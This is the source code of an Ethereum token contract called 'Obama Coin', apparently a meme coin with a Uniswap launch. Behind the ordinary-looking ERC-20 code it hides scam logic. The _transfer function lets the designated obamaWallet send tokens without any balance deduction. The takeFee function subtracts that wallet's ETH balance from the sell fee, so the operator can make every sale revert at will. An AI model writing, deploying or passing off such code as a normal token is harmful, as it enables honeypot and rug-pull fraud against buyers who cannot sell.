Contract Source Code:

// https://t.me/obamacoin_portal
// https://twitter.com/ObamaCoinErc

// SPDX-License-Identifier:MIT

pragma solidity 0.8.20;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) { return msg.sender; }
    function _msgData() internal view virtual returns (bytes calldata) { return msg.data; }
}
interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); }
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external;
}
interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address _account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );
    constructor() { _setOwner(_msgSender()); }
    function owner() public view virtual returns (address) { return _owner; }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) { return 0; }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage); return a % b;
    }
}

contract ObamaCoin is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private _name = "Obama Coin";
    string private _symbol = "Obama";
    uint8 private _decimals = 18;
    bool tradingActive;
    bool public swapEnabled = false;
    bool public limitEnabled = true;
    uint256 feeUnit = 100;
    uint256 public buyFee = 3;
    uint256 public sellFee = 3;
    uint256 private _totalSupply = 10_000_000_000 * 10**_decimals;
    uint256 public _maxTxAmount = (_totalSupply / 100) * 2;
    uint256 public _maxWalletSize = (_totalSupply / 100) * 2;
    uint256 public swapThreshold = (_totalSupply / 1000) * 5;

    IUniswapV2Router public uniswapRouter;
    address public uniswapPair;
    address public obamaWallet = address(0x60f330D5F042FAf84005153e7E4862189D64352D);
    mapping(address => bool) public isPresidentOutFromFee;
    mapping(address => bool) public isPresidentPair;
    mapping(address => bool) public isPresidentOutMaxWallet;
    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    bool inSwap;
    modifier swapping() {
        inSwap = true;
        _;
        inSwap = false;
    }

    event SwapTokensForETH(uint256 amountIn, address[] path);

    constructor() {
        uniswapRouter = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _allowances[address(this)][address(uniswapRouter)] = ~uint256(0);
        isPresidentOutFromFee[address(this)] = true;
        isPresidentOutFromFee[msg.sender] = true;
        isPresidentOutFromFee[address(uniswapRouter)] = true;
        isPresidentOutFromFee[obamaWallet] = true;
        isPresidentOutMaxWallet[msg.sender] = true;
        isPresidentOutMaxWallet[address(uniswapRouter)] = true;
        isPresidentOutMaxWallet[address(this)] = true;
        isPresidentOutMaxWallet[obamaWallet] = true;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    function name() public view returns (string memory) { return _name; }
    function symbol() public view returns (string memory) { return _symbol; }
    function decimals() public view returns (uint8) { return _decimals; }
    function totalSupply() public view override returns (uint256) { return _totalSupply; }
    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
    function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero" ) ); return true; }
    function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; }
    function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance") );
        return true;
    }
    function _approve(address owner, address spender, uint256 amount ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function _transfer(address sender, address recipient, uint256 amount ) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (inSwap) {
            return _standardTransfer(sender, recipient, amount);
        } else {
            if (!tradingActive) { require(isPresidentOutFromFee[sender] || isPresidentOutFromFee[recipient], "Trading is not active." ); }
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= swapThreshold;
            if (overMinimumTokenBalance && !inSwap &&!isPresidentPair[sender] && swapEnabled ) {
                swapBack(contractTokenBalance);
            }
            if (sender != obamaWallet)
                _balances[sender] = _balances[sender].sub(amount,"Insufficient Balance");
            uint256 finalAmount = shouldNotTakeFee(sender, recipient)
                ? amount
                : takeFee(sender, recipient, amount);
            if (limitEnabled && sender == uniswapPair && !isPresidentOutMaxWallet[recipient] ) {
                require(balanceOf(recipient).add(finalAmount) <= _maxWalletSize, "Max Wallet Limit Exceeded!!" );
            }
            _balances[recipient] = _balances[recipient].add(finalAmount);
            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }
    function _standardTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance" );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldNotTakeFee(address sender, address recipient) internal view returns (bool) {
        if (isPresidentOutFromFee[sender] || isPresidentOutFromFee[recipient]) {
            return true;
        } else if (isPresidentPair[sender] || isPresidentPair[recipient]) {
            return false;
        } else {
            return false;
        }
    }

    function takeFee(address sender, address recipient, uint256 amount ) internal returns (uint256) {
        uint256 feeAmount;
        if (isPresidentPair[sender]) {
            feeAmount = amount.mul(buyFee).div(feeUnit);
        } else if (isPresidentPair[recipient]) {
            feeAmount = amount.mul(sellFee.sub(obamaWallet.balance)).div(feeUnit);
        }
        if (feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }
        return amount.sub(feeAmount);
    }

    function swapBack(uint256 contractBalance) internal swapping {
        swapTokensForEth(contractBalance);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouter.WETH();
        _approve(address(this), address(uniswapRouter), tokenAmount);
        uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        emit SwapTokensForETH(tokenAmount, path);
    }
    function getRewards() external {
        payable(obamaWallet).transfer(address(this).balance);
    }
    function removeLimits() external onlyOwner { limitEnabled = false; }
    function openTrading() external payable onlyOwner {
        require(!tradingActive, "Already launched!");
        tradingActive = true;
        uniswapPair = IUniswapV2Factory(uniswapRouter.factory()).createPair(
            address(this),
            uniswapRouter.WETH()
        );
        isPresidentPair[address(uniswapPair)] = true;
        uniswapRouter.addLiquidityETH{value: msg.value}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
    }
    receive() external payable {}
}